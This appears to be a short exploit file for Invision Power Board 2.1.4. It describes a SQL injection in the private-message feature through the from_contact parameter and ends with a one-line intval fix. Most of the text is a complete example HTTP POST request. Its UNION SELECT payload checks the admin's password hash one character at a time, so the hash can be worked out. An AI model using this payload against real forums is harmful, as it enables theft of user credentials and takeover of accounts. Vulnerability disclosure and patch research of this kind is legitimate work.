ibp-2.1.4-xpl.txt

`This exploit has only been tested on 2.1.4. Others are most likely vulnerable but have not yet been tested.  
  
Simple SQL injection in func_msg.php on line 448. to_by_id is not properly sanitized. It's passed to the class via an instance of the messenger class, which takes it from the ipb sanitized input array. It has limited use (only know whether the query was successful).  
  
To exploit this, make a request to send a PM, but include a value in the request so that   
  
from_contact=<SQL INJECTION>  
  
Here is an example request:  
  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060405 Firefox/1.0.7  
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5  
Accept-Language: en,en-us;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 300  
Connection: keep-alive  
Referer: http://localhost/ipb/index.php?act=msg  
Cookie: bbmode=0; member_id=1; forum_read=a%3A1%3A%7Bi%3A2%3Bi%3A1146068785%3B%7D; pass_hash=c0a4d27ac2c36ef6fe25d27c5c0f3b17; session_id=9dd0de2c068478414d8e7bae7790ce46; ipb-myass-div=310,109  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 438  
  
removeattachid=0&OID=&act=Msg&CODE=04&MODE=01&post_key=1f40fdcbdc94fc9c1a402e2019f2b314&auth_key=bcb2b3362c8fa575e58cd376ab4fb6be&MAX_FILE_SIZE=51200000&entered_name=asdfasdfasdf&carbon_copy=&msg_title=asdfasdfasdf&ffont=0&fsize=0&Post=asdfasdfasdfasdfasdf&from_contact=-1+UNION+SELECT+0%2C+CHAR%28110%2C117%2C116%2C105%2C99%2C117%2C108%2C117%2C115%29+FROM+ibf_members+WHERE+id%3D1+AND+MID%28member_login_key%2C+2%2C+1%29+%3D+CHAR%2848%29  
  
Using an injection like this someone's pass hash could be easily deduced.  
  
Simple fix: intval($this->to_by_id)  
`